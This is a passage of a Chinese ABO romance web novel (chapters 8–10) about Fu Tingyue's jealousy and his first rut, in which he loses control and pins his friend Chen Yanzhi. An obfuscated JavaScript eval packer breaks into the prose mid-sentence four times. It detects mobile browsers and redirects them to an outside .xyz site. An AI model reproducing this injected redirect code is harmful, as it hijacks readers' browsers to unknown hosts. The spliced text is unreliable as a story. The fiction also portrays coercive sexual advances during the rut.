但傅亭樾太低估陈砚知的社交能力,他才来别墅几天就跟家里所有的保姆佣人熟络,甚至连傅亭樾身边的保镖司机陈砚知也全都认识,还记住了他们每个人的名字。 两人回家的路上傅亭樾才知道这件事的,他的好心情一扫而光,憋闷到了极点。 陈砚知一无所知,这会儿正趴在副驾驶的椅背上和司机闲聊:“陈琦,你家是哪儿的呀,也是帝都的吗?” 他这两天已经从这些人的嘴里套出了很多有用的信息,甚至连他们是傅家派来监视傅亭樾的陈砚知都打听到了一二,真不愧是他。 陈琦不好意思地笑笑:“是的,我家是帝都的,不过我从小是在东区长大的。” 东区是平民区,也就是之前陈砚知住的那片。 陈砚知点头表示知道了,又转头问副驾驶的保镖:“你呢汪旭,你家是哪儿的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372462|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汪旭略微低着头回答:“回陈少,我也是在东区长大的,不过我老家不在帝都。” 陈砚知又问:“你们两个都是Alpha吗?” 汪旭和陈琦对视一眼,从后视镜里偷瞄了傅亭樾一眼后说道:“傅家对司机和保镖的选拔很严格,必须得是Alpha才行。” 不知道为什么,后背总是凉飕飕的。 陈砚知没注意到傅亭樾有些阴沉的脸,继续跟两人闲聊:“Alpha都只能给别人当保镖司机,那Beta呢?” 陈琦笑着接话:“Beta也能从事很多职业,我们出生贫寒,能来傅家当保镖已经是我们最大的荣幸。” 陈砚知心下了然,原来不是所有Alpha都能拥有崇高的地位和权利,也要看出身。 他满脸好奇地问:“那是不是也有Beta站上高位?” 如果没有,那他就来做第一个。 两人都知道陈砚知是Beta,听到他这么问,汪旭连忙回答:“当然有,很多医生演员都是Beta,也有公司高层这些,Beta才是占据社会主导地位的群体。” 虽然不知道这位出身东区的平民Beta是怎么跟大少爷认识的,但从两人的相处来看关系不一般,而且这些天陈砚知都是在大少爷的房间里睡的,说不定他们是那种关系。 只要能把陈砚知哄高兴了,他们在傅亭樾手下就能好过些。 陈砚知和两人聊了一路,都没跟傅亭樾说过话,原本傅亭樾只是有点不高兴,后来逐渐演变成了生气。 到家后他没等陈砚知,自己下车先走了。 陈砚知乐呵呵地跟其他人打着招呼,扭头发现傅亭樾走了,他连忙追上去。 傅亭樾心里不快,但瞥见陈砚知小跑着追上来,他的心情稍微好了一点,不自觉放慢步子等他。 陈砚知略微喘着气,小声吐槽:“你走那么快干嘛,我都跟不上你了。” 傅亭酸唧唧地说:“我以为你还要跟他们聊一会儿。” 陈砚知没听懂傅亭樾的不快,没心没肺地说:“等会儿再聊,我饿了,想吃东西。” 傅亭樾突然停下脚步,陈砚知往前走了两步发现他没跟上来,他连忙折回去问傅亭樾,“怎么不走了?快点儿呗,我快饿死了。” 傅亭樾目光定定地看着陈砚知的脸,从牙缝里一个字一个字往外蹦:“陈砚知,你怎么跟谁都能聊得来,不是说我们才是彼此的唯一吗?” “啊?”陈砚知整个人呆住,他茫然地看着傅亭樾阴沉的脸,总算反应过来他不高兴。 他不解地问:“你干嘛生气?” 傅亭樾盯着陈砚知的眼睛,试图分辨他是真的不知道还是在装,事实证明陈砚知并非在装,是真的不懂,他似乎并不觉得自己做错,确实也没做错,是傅亭樾小气,他不想陈砚知跟除了他以外的任何人亲近。 他松开紧握的拳头,吐出一口浊气走了。 “???” 陈砚知更懵了,他站在原地左右看看,像只晕了头的小猫,反应过来后他指着傅亭樾的背影说:“傅亭樾你给我站住!” 傅亭樾没站住,反而走得更快,陈砚知骂骂咧咧地跟上去,心里觉得傅亭樾又在发病。 他记起之前为什么不想和傅亭樾玩了,就是因为他总是莫名其妙生气,怎么来了这儿还这样。 8. 第8章 傅亭樾气性大,但大部分时候都是憋在心里气,陈砚知是有脾气就直接发,从来不委屈自己,两人算是一个极端。 原本陈砚知还想着关心一下傅亭樾的,但人家压根不给他机会,回家就把自己关进房间不理人。 陈砚知在门口站了一会儿,隔着门喊道:“傅亭樾,你再不开门——” 话音未落,房门突然从里面打开,傅亭樾满脸无奈地出现在门口。 陈砚知双手环胸:“你脾气挺大啊,把我关在门外是吧?” 傅亭樾叹了口气:“没……” 要说脾气大,没人能比得过陈砚知,但他乐意宠着。 陈砚知啧了一声,向前一步跨进屋里,一脚把门踹上,朝傅亭樾逼近:“你闹什么别扭?今天你说不出个所以然来,别怪我对你不客气。” 傅亭樾看着陈砚知炸毛的模样,心里的气消了大半,“没有。” 太可爱了,舍不得生气。 陈砚知闻言,更生气了,“没有你锁什么门?” 锁门就算了,还把他锁在外面,简直不可饶恕。 傅亭樾妥协般看着陈砚知:“你真的想知道?” “废话。”陈砚知翻了个白眼,走到一旁的单人沙发上坐下,翘着二郎腿满脸不高兴地看着傅亭樾,“说,为什么莫名其妙生气?” 傅亭樾垂着眼,睫毛投下的阴影遮住了他眸底的情绪,“你和所有人都有话聊,唯独跟我没话说。” 陈砚知忍无可忍:“我现在是在跟狗说话吗?” 傅亭樾沉默不语,他怕话说得太过分惹陈砚知不高兴。 看到傅亭樾那副样子,陈砚知更加不耐烦,但他强忍着脾气说:“傅亭樾,我不是你肚子里的蛔虫,我猜不到你在想什么,如果你拿我当朋友就告诉我……” 不等陈砚知说完,傅亭樾语气就有些激动:“我不想你和别人那么亲近,你才来了几天就记住了所有人的名字还和他们聊得那么开心,我不高兴。” 一冲动把心里的想法说出来后傅亭樾就后悔了,但话已经收不回去,他索性垂眸不去看陈砚知。 陈砚知整个人呆呆的,似乎是没从傅亭樾的话里反应过来。 他有想过是不是自己做错了事说错话惹傅亭樾生气,但没想到是因为这个。 “我……” 不等他说完,傅亭樾就说:“是我的问题,你不用放在心上。” “我去处理一点工作,你先休息一下。” 傅亭樾说完就要走,陈砚知连忙上前拽住他的手腕,“等等,咱俩聊聊。” 陈砚知难得用严肃的语气说话:“傅亭樾,和我聊聊,问题不解决,你心里永远有个疙瘩,如果你一味用逃避来解决问题,心结永远不会解开,我们也会越来越疏远。” 他知道为什么之前在那个世界的时候会和傅亭樾关系越来越差了,就是因为傅亭樾习惯把情绪憋在心里,而他永远不会注意到傅亭樾的情绪,亦或者说注意到了,但不想管。 可现在他不得不管,他和傅亭樾之间不能有隔阂,他也不想。 傅亭樾语气明显失落:“知知,你讨厌我了吗?” 他也不知道为什么会突然控制不住情绪,明明之前在那个世界他一直都控制得很好,好到陈砚知这个笨蛋一直没有察觉到,怎么到了这儿就突然失控了呢。 他刚刚甚至还把陈砚知关在门外,真的很过分。 “没有,我不会因为这点小事讨厌你,但我们需要聊聊。”陈砚知说着,把傅亭樾拽到一旁的沙发边让他坐下。 傅亭樾怔忪地看向陈砚知的眼睛,他以为陈砚知会直接臭骂他一顿然后不理他。 陈砚知垫起脚按住傅亭樾的肩膀强迫他坐下,左右观察确认没人偷听后他才压低声音问:“你是不是担心我跟这边的人玩熟了就不和你好了?” 傅亭樾缓慢地点点头,这么理解也没错。 “啧,你真是多虑了,之前你不是告诉我这些都是你父母安排的人吗?我跟他们混熟只是为了套话,试探一下你父母的态度而已。” 陈砚知从小到大第一次这么耐心地解释:“我怎么可能会和他们玩了就不理你,主要是你本来就话少啊,我话多忍不住想聊天,可不就只能找他们了嘛。” 傅亭樾偏离重点:“我愿意听你说,什么都可以。” 其实不管陈砚知是跟他说废话还是说正经话他都愿意且乐意听,那种时刻是最幸福的时候。 陈砚知神经大条没深究傅亭樾话里的深层含义,他无所谓地摆摆手:“那你不是忙嘛,而且我们在这边人生地不熟的,和当地人打好关系很重要,尤其他们还是眼线。” 而且他改不了话多的毛病,在哪儿都能跟人聊,要真无聊起来别说是人了,蚂蚁他都能聊上半小时。 傅亭樾看着陈砚知真诚可爱的模样,垂眼说:“我知道了,这次是我不对,我这两天不知道为什么总控制不住情绪,我会尽快调整好。” 是他的占有欲作祟,陈砚知没有任何错,他从小到大都这么招人喜欢,来了这儿也是一样的,是他不好,不该对陈砚知发脾气。 陈砚知满意地点点头,脸上多了一丝笑容:“下次再有这种事儿你得跟我说,你自己憋着气死了我也不知道你在想什么。” 主要他这人懒,懒得去猜别人的想法,不重要的人想什么他管不着,但傅亭樾重要,所以他才会跟他说这些。 如果他们两个因为这些小事有了嫌隙,那完全就是得不偿失,所以有话直说才是最好最快的解决办法。 傅亭樾点头答应:“我会记住的。” “嗯,没其他事儿就去忙吧,我得洗个澡。”陈砚知抬起胳膊闻了闻,嫌弃地皱起鼻子,“总觉得身上一股消毒水的味道。” 傅亭樾暗暗突出一口浊气,脸上也多了一丝笑容:“去吧,洗完正好能吃饭,刚刚不是说饿么。” 陈砚知自然地拍拍他的肩膀,转身拿上换洗的衣服洗澡去了,似乎确实没把刚刚的事儿放在心上,这让傅亭樾松了一口气。 但傅亭樾没急着离开,而是在陈砚知的房间转了一圈,最后站在窗户边看着太阳一点点往西坠落,直到消失在视线中,晚霞将天空染成橘红色,漂亮得像一幅画卷。 浴室的水声一停,傅亭樾就干脆利落地转身离开,没有一丝犹豫。 陈砚知出来的时候房间里已经没人,他也不知道傅亭樾逗留了一会儿才离开。 洗漱完他整个人轻松多了,跳起来把自己摔进沙发里,窝着玩了一会儿手机才起身去找傅亭樾。 不知道是太累还是什么原因,晚饭傅亭樾没吃多少,光伺候陈砚知了。 吃完饭陈砚知就想上楼单独和傅亭樾待在一块儿,在客厅被那么多人看着,他不自在。 傅亭樾小声跟他说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372463|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休息一会儿喝完药再上去。” 陈砚知一愣:“什么药?” “调理身体的中药,你又忘了。”傅亭樾无奈摇头,“你这记性什么时候才能变好。” 陈砚知彻底呆住:“今晚就开始喝?” 他以为还得过两天呢。 傅亭樾知道陈砚知想耍赖,但还是顺着他的话说:“尽早调理比较好,拖久了变严重怎么办。” 果不其然,下一刻陈砚知就说:“我今天才刚从医院回来呢,不然今天休息一天,明天再喝?” 虽然没喝过,但中药能有什么好喝的,他也属实没想到这个世界的很多东西都和原本的世界重合,连中医也有,真是见鬼了。 傅亭樾宠溺地笑道:“知知,你今天不喝以后也要多喝一天,怎么算都一样,还不如从今天开始喝,提前一天喝完。” 陈砚知纠结地皱紧眉头:“万一难喝怎么办,把我喝吐了怎么办?” 倒不是他矫情,主要是他怕苦。 傅亭樾看着他那副害怕的表情,温声安抚:“不会的,我让人买了果脯,喝完吃两颗就没事了。” 如果不是身体太差,他也不想逼陈砚知喝药。 “我又不是小孩儿,喝药还得用果脯哄。”陈砚知嘟囔着,转头对一旁的保姆说,“麻烦帮我把药端过来。” 不就是中药么,还能把他苦死不成。 事实证明,他真的差点被苦死了,那碗中药比他独自住在地下室的一个月还要苦。 要不是傅亭樾提前让人准备了果脯第一时间喂给他,陈砚知恐怕真的会当场吐出来。 他有气无力地瘫在沙发上,用舌尖顶着果脯在口腔里转了两圈,直到药味变淡他才苦巴巴地问:“明天还得继续喝?” 傅亭樾撕开果脯的包装纸将果脯塞进陈砚知嘴里才点头:“每天都得喝。” 陈砚知身体差,得搭配膳食和药物才能快速康复,最近家里的菜单都变得清淡健康了,傅亭樾始终记得医生说陈砚知虚不受补,生怕吃得太油腻他又不舒服。 陈砚知明白自己的身体有多差劲,难得没闹脾气,顺从地点头:“行吧,喝就喝吧。” 傅亭樾眸底划过一丝惊讶,忍不住夸赞:“嗯,很棒。” 陈砚知嘁了一声:“我又不是小孩儿还得让人哄着才肯喝药。” 他知道自己身体弱,他也想快点把身体养好多锻炼,强身健体。 见他那么乖,傅亭樾又喂他吃了一颗果脯才和陈砚知上了楼。 今天一直在外面折腾,陈砚知这具身体太弱,上楼洗漱完没一会儿就开始犯困,自己窝在被子里睡着了。 半夜他被一种很难受的,类似于被大山压住的感觉给闷醒。 但他没有做噩梦,醒过来时人也很清醒,但还是有点不舒服,陈砚知怀疑自己可能喝中药中毒了。 他伸手去推傅亭樾,却被烫得往后一缩,“傅亭樾,你怎么那么烫,发烧了?” 睡梦中的傅亭樾意识模糊,听到陈砚知的声音,他下意识伸手把人搂进怀里,呼吸急促得不正常。 他喘息着说:“知知,我、我有点难受。” 陈砚知挣扎着:“你先放开,我去打电话叫120,你现在好烫。” 傅亭樾仍旧抱着他不肯松手,灼热的呼吸有意无意地从陈砚知的耳尖扫过:“不用……不用,我应该是来易感期了。” 9. 第9章 陈砚知犹如置身火炉,但他挣不开傅亭樾的手,只能就着被傅亭樾抱着的姿势问:“易感期?” 傅亭樾声音压抑,吞咽声在陈砚知耳畔传来:“嗯,我来易感期了。” 陈砚知看着傅亭樾那副难受的样子,瞬间慌了神,“那怎么办?” 他只有上次在海边看到过Alpha易感期,根本就没接触过,不知道该怎么办,也不知道傅亭樾会不会有危险。 陈砚知第一次对这个世界感到害怕,他怕傅亭樾出事儿。 傅亭樾似乎感受到他的不安,喘息着对陈砚知说:“知知别怕,我没事,现在还能保持清醒,你去楼下让阿姨把提前准备好的箱子拿上来,别告诉他们我来易感期了,不然他们会给我找Omega.” 陈砚知闻言,连忙推开傅亭樾起身,“好,我马上去,你先坚持一会儿。” 陈砚知说完就跑了,没给傅亭樾开口的机会。 傅亭樾低头闻了闻被子,上面还残留着一丝陈砚知的味道,他像只大狗狗似的凑近,恨不得把那微乎其微的味道全部吸进肺里,身体里的热浪一阵接一阵不停冲击着他的神志。 他蜷缩着抱紧被子,脑子里都是陈砚知的脸。 想要陈砚知,但不能,会吓到他,他不能被信息素控制做出伤害陈砚知的事情,否则他会后悔一辈子。 傅亭樾不停给自己心理暗示,硬生生撑着没有被易感期吞噬理智。 陈砚知整个人很紧张,他跑下楼后直接去敲了保姆的房门,心里记着傅亭樾说不能让别人知道他易感期,他快速调整好情绪,把脸上的担忧尽数收起来,尽量表现得平静。 保姆一副没睡醒的模样,半睁着眼睛问:“陈先生,这么晚了有什么事吗?” 陈砚知歉意地笑笑:“不好意思这么晚还打扰你,我来拿傅亭樾之前让你准备的箱子。” 保姆瞬间清醒了不少,她一边往外走一边问:“大少爷的易感期来了?” 陈砚知摇头:“没有,也不知道他突然发什么神经,非要让我下来帮他拿。” “大少爷应该是担心易感期突然来吧,陈先生你稍等两分钟,我这就去拿。”保姆说着,转身去了一楼最旁边的房间。 陈砚知心神不宁地等着,心里很担心傅亭樾。 他在手机上搜索了一下关于Alpha的易感期,越看越害怕。 网上说进入易感期的Alpha必须要有Omega才能安全度过,但是大晚上的他去哪儿给傅亭樾找Omega,而且听傅亭樾刚刚的意思,他并不想找Omega. 现在只能祈祷抑制剂能帮傅亭樾安稳度过这次易感期。 他现在知道为什么傅亭樾会说当个Beta也很好了。 保姆回来得很快,她把箱子递给陈砚知,笑眯眯地说:“如果大少爷的易感期来了,麻烦陈先生告知我们一声,我们好做准备。” 陈砚知闻言,几乎马上反应过来她说的做准备是要给傅亭樾找Omega,可傅亭樾是人,不是什么动物。 他强忍着心中的不悦,冲保姆露出一个还是友好的笑容,“好,那我先回楼上休息啦。” 确认保姆离开后,陈砚知提着箱子冲上电梯,着急忙慌地按了三楼,心跳越来越快。 他刚刚在手机上看到有人说信息素得不到释放的话,会对Alpha造成损伤,严重的可能会变成傻子。 陈砚知一推门进去就被空气中浓度高到吓人的信息素弄得有点难受,但他什么都闻不到,只能艰难地往床边挪,“傅亭樾,你还醒着吗?” “嗯。”傅亭樾迟钝地应了一声,陈砚知把药箱扔在床上,强忍着难受把窗子打开才感觉泰山压顶的感觉减轻了些。 他深吸一口气,转身回到床边问傅亭樾:“哪个是抑制剂?” 傅亭樾看了一眼药箱,伸手指了指针管。 陈砚知拿起针管,看着傅亭樾的手臂犹豫半天才说:“我不敢打。” “我自己来。”傅亭樾说着,从陈砚知手里接过针管,毫不犹豫地将针头扎进皮肤,抑制剂被推进体内,快要把他的神志吞没的浪潮暂时退却,濒临崩溃的神志也稍稍清醒过来。 他靠在床边缓了一会儿,有气无力地对陈砚知说:“止咬器帮我戴上,然后再用绳子把我的手捆起来。” 他身上出了很多汗,真丝睡衣都被打湿了,整个人很颓废,眼神也变得浑浊。 陈砚知干脆利落地帮傅亭樾把衣服脱了,又帮他擦了擦汗才问:“为什么要绑起来,不是打了抑制剂就没事儿了吗?” 傅亭樾吐出一口浊气,强忍着把陈砚知扑到的冲动,压抑地吞咽了两下:“我现在还没完全进入易感期能保持清醒,但我担心自己会失控,知知听话,把我绑起来。” 原主二十多年从来没和Omega有过接触,体内信息素一直处于积压状态,傅亭樾又是第一次经历易感期,他怕自己失控伤害到陈砚知。 陈砚知握住傅亭樾滚烫的手,漂亮的眉头紧锁,脸上都是担心:“傅亭樾,我们去医院吧,好不好?” 与其在家难受,还不如去医院,医院肯定能更快地帮傅亭樾度过易感期的。 傅亭樾握紧陈砚知的手,犬齿一阵发痒,他仰头靠在床边,喉结快速滑动着,“去医院也只能打抑制剂,还不如在家待着,你听话,把我绑起来,或者把我锁起来自己去旁边卧室休息,三天后再来开门。” “你让我把你锁起来?”陈砚知震惊地看着傅亭樾,表情有些生气,“你觉得我能做出这么畜生的事儿?” “那就把我绑起来,一旦察觉到危险就立马离开,知知,顶级Alpha失控很危险,我不想伤害你,你听话。” 傅亭樾说着,感觉体内的信息素又在翻涌,他伸手拿过止咬器戴上,又把提前准备好的绳子递给陈砚知让他帮忙把双手绑起来。 陈砚知犹豫道:“不绑不行吗?” 傅亭樾不再跟他说话,自顾自用绳子绑住自己的双手,但他没办法自己打结,陈砚知看不下去伸手帮忙。 傅亭樾呼吸急促道:“打死结,否则我很容易就会挣开。” 陈砚知顿了顿,最终还是乖乖听话打了个死结。 他看着傅亭樾被绑住的双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372464|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,小声询问:“我能帮你什么?” 傅亭樾放松地靠在床边,仰着头缓了一会儿,止咬器在灯光下折射出冰冷的光,他声音沙哑道:“陪我待一会儿,半小时后你去隔壁房间休息,明天再来看我,这两天要好好照顾自己,好好吃饭,药也记得喝。” 陈砚知拧着眉头不耐烦道:“别管我了,你赶紧休息一下,我不想去隔壁,我要在这儿睡。” 这都什么时候了还有心思管他吃饭喝药。 “知知听话……” “我不想听,我困了。”陈砚知把被子往头上一蒙,背对着傅亭樾假装自己要睡觉,其实他心里很担心,压根就睡不着。 傅亭樾总算不再说话,陈砚知还以为他睡着了,鬼鬼祟祟地把脸从被子里伸出来,却发现傅亭樾正盯着他,目光灼热,陈砚知被看得心惊。 但看着傅亭樾的眼睛,他突然就不害怕了,冷静下来问:“你又难受了?要不要再给你打一针……” 话音未落,傅亭樾突然扑过来把陈砚知压在身下,呼吸急促地隔着止咬器蹭陈砚知的侧颈。 傅亭樾的身体坚硬得跟铁似的,加上他刚刚突然撞过来陈砚知没防备,他感觉自己胸膛上的骨头都快被撞碎了。 陈砚知有些生气道:“傅亭樾你发什么疯?” 傅亭樾语气痴迷地喊:“知知,陈砚知……” 陈砚知立马察觉到不对,强忍着痛意捧起傅亭樾的脸,看着他涣散的瞳孔,“傅亭樾,你怎么了?” 傅亭樾重重喘息着,瞳孔完全散了,似乎已经失去神志,但他嘴里一直在喊陈砚知。 陈砚知连忙拿手机去网上搜,原来正式进入易感期后Alpha会失去神志,而且会本能地想要标记自己想标记的人。 傅亭樾一直喊他,难道是想标记他? 可是标记是怎么弄来着? 陈砚知刚想搜索,手机直接被傅亭樾给撞飞了,Alpha跨坐在他身上,被绑住的双手不轻不重地按在陈砚知胸前,高大的身影投下一片阴影,将陈砚知彻底遮住。 接连被撞,陈砚知脾气上来,咬牙切齿地骂道:“妈的傅亭樾,我手机……” 傅亭樾突然低头靠近,陈砚知第一次直观感受到顶级Alpha的压迫感,他被浓烈的闻不到摸不着的信息素压得动弹不得。 对上傅亭樾迷离的双眼,他警惕道:“你干嘛?” 傅亭樾还在继续靠近,陈砚知连忙偏头躲开,冰冷的止咬器触碰到他颈侧的皮肤,陈砚知忍不住一哆嗦。 傅亭樾意识不清地嘟囔:“亲不到,知知,我怎么亲不到你……” 陈砚知闻言,惊讶地回头看着傅亭樾,“你清醒一点,我是陈砚知,你最好的朋友。” 傅亭樾哼笑一声,喃喃道:“好朋友。” 冰冷的铁质和灼热的呼吸交缠着,弄得陈砚知有些难受,他伸手把傅亭樾的脸推开,“你别笑,好瘆人。” 傅亭樾控制不住体内暴虐的信息素,他低头靠在陈砚知的手上,难以自控地喘息着。 他哑声说:“知知,帮帮我,我好难受。” 10. 第10章 陈砚知整个人都傻了,被好兄弟按在床上乱蹭一通就算了,关键是傅亭樾还用绑着的手去扯他的衣服裤子,一点儿也不老实。 陈砚知手脚并用地挣扎着,但无济于事,失去神志的顶A力气实在太大。 眼看着傅亭樾的手就要伸进他的裤子,陈砚知连忙拽住他的手警告:“傅亭樾你给我清醒一点,我是陈砚知,不是能帮你缓解易感期的Omega.” 天杀的,早知道就听傅亭樾的,直接用绳子把他给绑起来,也好过陷入这般人为刀俎我为鱼肉的境地。 傅亭樾已经彻底失去意识,嘴里不停重复着陈砚知的名字:“陈砚知,陈砚知。” 是陈砚知啊,他的陈砚知。 陈砚知满脸惊恐地按着傅亭樾的手不让他乱动,“等等,你别乱动!” 傅亭樾真的不再乱动,他亲昵地左右蹭着陈砚知的鼻尖,声音沙哑压抑:“我好难受,我要死了,帮帮我好不好?” 原本陈砚知是有点生气的,但听到傅亭樾可怜兮兮地说自己要死了,他就忍不住心软,“我、我要怎么帮你?” 傅亭樾不回答,只是靠在他锁骨的位置呢喃:“知知,陈砚知。” 陈砚知吐出一口浊气,无奈地盯着天花板,“我在这儿,你别喊了。” 喊得他心跳都不正常了。 傅亭樾靠在他身上喘了一会儿,突然说:“陈砚知,你出去,把门锁上。” 陈砚知愣了一下,低头正好和傅亭樾四目相对,他欣喜道:“你清醒了?” 傅亭樾的瞳孔一点点聚焦,他缓了一会儿才坐起身,自责地低着头不看陈砚知。 他语气低迷道:“你先出去吧,我一个人待着就行。” 陈砚知往前凑了凑,仰头看着傅亭樾,“你是不是很难受,要不要再打一支抑制剂?” 傅亭樾躲开他的视线,声音虽然还是很哑,但透着一丝冰冷:“等会儿我自己打,你先出去。” 他刚刚……差一点就欺负陈砚知了,幸好及时清醒过来。 陈砚知一无所知,盘腿坐在床上,“你干嘛赶我走,刚刚不是一直让我帮你吗?正好你醒了,告诉我要怎么帮你。” 傅亭樾瞳孔猛地一缩,好不容易平复下来的呼吸彻底乱了,大脑也开始变得乱糟糟的,他强撑着意识焦急催促:“不用,刚刚我失去意识了,不用你帮忙,你先出去。” 接连被赶,陈砚知有些生气,他拧着眉头看着傅亭樾压抑的双眼:“你这个样子我怎么可能放心得下,怎么才能帮你你就直说呗,之前不是说好要当彼此的依靠,你现在把我往外推是什么意思?” 傅亭樾握紧拳头,整个人都在轻微颤抖着,他压制着体内暴虐的信息素,脖颈间青筋暴起。 重重吐出几口热气后,他压抑着说:“不是把你往外推,我怕吓到你,陈砚知你乖,先出去,我一个人呆一晚,明天早上你再来看我。” 如果彻底失去意识,手上的绳子根本就奈何不了他,这是傅亭樾第一次经历易感期,他不知道会发生什么。 原主之前是把自己关在一个独立空间,任由信息素暴虐,清醒过来后又给自己打抑制剂,所以他不敢让陈砚知呆在这儿。 Alpha彻底进入易感期后满脑子都只想标记眼前的人,他怕自己失控做出伤害陈砚知的事情。 陈砚知听完后更不耐烦了,他直接说:“所以我要怎么帮你,或者说你想干什么?直接说,别他妈磨磨唧唧的。” 傅亭樾强撑的意识摇摇欲坠,他甚至不敢看陈砚知的眼睛,垂着眼语气低迷:“进入易感期的Alpha只想标记……标记就是咬腺体,或者……” 发生性关系。 他不想让陈砚知看到自己被信息素控制变成一只没有自我意识的野兽。 陈砚知听完后仔细思考一番,砰砰两声拍拍身旁的被子对傅亭樾说:“所以你刚刚让我帮你是要我咬你的腺体吗?那你过来,我现在就帮你咬。” 不就是咬一口嘛,有什么大不了的,只要能帮到傅亭樾,他愿意的。 他俩可是同生共死的好朋友,也不知道傅亭樾在矜持什么。 傅亭樾听到陈砚知的话明显愣住,紧接着他突然笑了起来。 陈砚知总是能语出惊人,思考问题的方式也一如既往的别出心裁。 “别墨迹,快过来啊。”陈砚知一边催促一边问,“你的腺体在哪儿,我直接咬吗?” 他是Beta没有腺体,所以肯定是他来咬傅亭樾的腺体,虽然傅亭樾说得不清楚,但陈砚知自觉聪明,根本难不倒他。 傅亭樾已经快撑不住,他现在急需一个宣泄口,哪怕是被陈砚知触碰腺体对他来说也能得到巨大的满足。 “知知,腺体是第二性..器官,我可能会……” 不等傅亭樾说完,陈砚知不耐烦地啧了一声,拽着傅亭樾的胳膊把他拉过去。 他一眼就看到了傅亭樾脖颈后面红肿的那块皮肤,上面还有汗珠往外冒。 他好奇地凑近,带着凉意的呼吸喷洒在Alpha的腺体上,“是这儿吗?” 傅亭樾闷哼一声,原本只是轻微颤抖的身体颤抖得更加厉害,信息素再度冲击他的神志。 陈砚知看着他那副样子确定那儿就是傅亭樾的腺体,他盯着看了一会儿,感觉像一个被蚊虫咬起来的大包,没什么特别的。 他伸出手指碰了一下,温度烫得他指尖一蜷,傅亭樾的呼吸声越来越重,陈砚知大着胆子把手覆上去,感觉自己的手心都要被烫坏了。 陈砚知吐出一口浊气,不轻不重地抚摸揉弄着,还不忘询问:“傅亭樾,我摸这儿你会觉得舒服吗?” 傅亭樾靠在陈砚知的肩膀上,灼热的呼吸隔着冰冷的止咬器喷洒在他的颈侧,Alpha声音低沉压抑:“舒服。” 陈砚知哦了一声,按摩一般摸了一会儿傅亭樾的腺体,感觉那块皮肤越来越烫,他连忙询问:“直接咬吗?” 他用舌尖舔了舔自己的牙齿,暗自庆幸他牙齿长得整齐,不然怕是要把傅亭樾咬出血来。 傅亭樾强撑着最后一丝意识,闷声说:“直接咬。” 陈砚知应了一声,从一旁抽了纸巾擦干傅亭樾腺体上的汗珠,看着傅亭樾难受的模样,他犹豫着靠近,张嘴轻轻往傅亭樾的腺体上咬了一下,留下两排可爱的牙印。 傅亭樾又吩咐他:“舔一下。” 陈砚知乖乖照做,傅亭樾的喘息声越来越大,陈砚知听得耳朵发烫。 原本一切都好好的,陈砚知在尽力帮傅亭樾,但傅亭樾又突然发疯把他撞倒在床上,高大的身躯压在他身上。 “又干嘛?”陈砚知看着傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372465|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亭樾涣散的瞳孔,他知道傅亭樾又失去意识,说话的语气染上一丝哄人的意味,“你乖一点,不是要标记吗?我标记完你就舒服了,别突然撞我。” 傅亭樾靠在陈砚知身上喘息了一会儿,突然抬头对他说:“标记……我要标记你。” 陈砚知一脸单纯地说:“我是Beta你标记不了我,还是我标记你吧。” 之前傅亭樾给他的书他还没来得及看,根本就不知道什么标记不标记的,异想天开地觉得只要他咬了傅亭樾的腺体就算标记。 可能是刚刚咬的太轻没标记成功,再咬一口应该就能行了。 傅亭樾突然说:“帮我把绳子解开。” “解开?不是你让我把你绑起来吗?”陈砚知嘴上疑惑,手却已经在帮傅亭樾解绳子。 傅亭樾语气带着一丝可怜:“绳子勒得我手痛,知知帮我解开。” 第一次经历Alpha易感期的陈砚知还是太单纯,不知道失去意识的Alpha有多恶劣。 绳子刚解开,傅亭樾犹如失去束缚的猎豹动作迅速强势的将他的双手钳住压过头顶,另一只手想解开止咬器,但一直显示密码错误。 密码是刚刚陈砚知设置的,傅亭樾让他别告诉他。 陈砚知整个人都懵了,反应过来后才知道自己被骗。 傅亭樾压抑道:“密码是多少?” 陈砚知低声骂道:“混蛋,哪有你这样的。” 直觉告诉陈砚知不能让傅亭樾解开止咬器,否则会出大事。 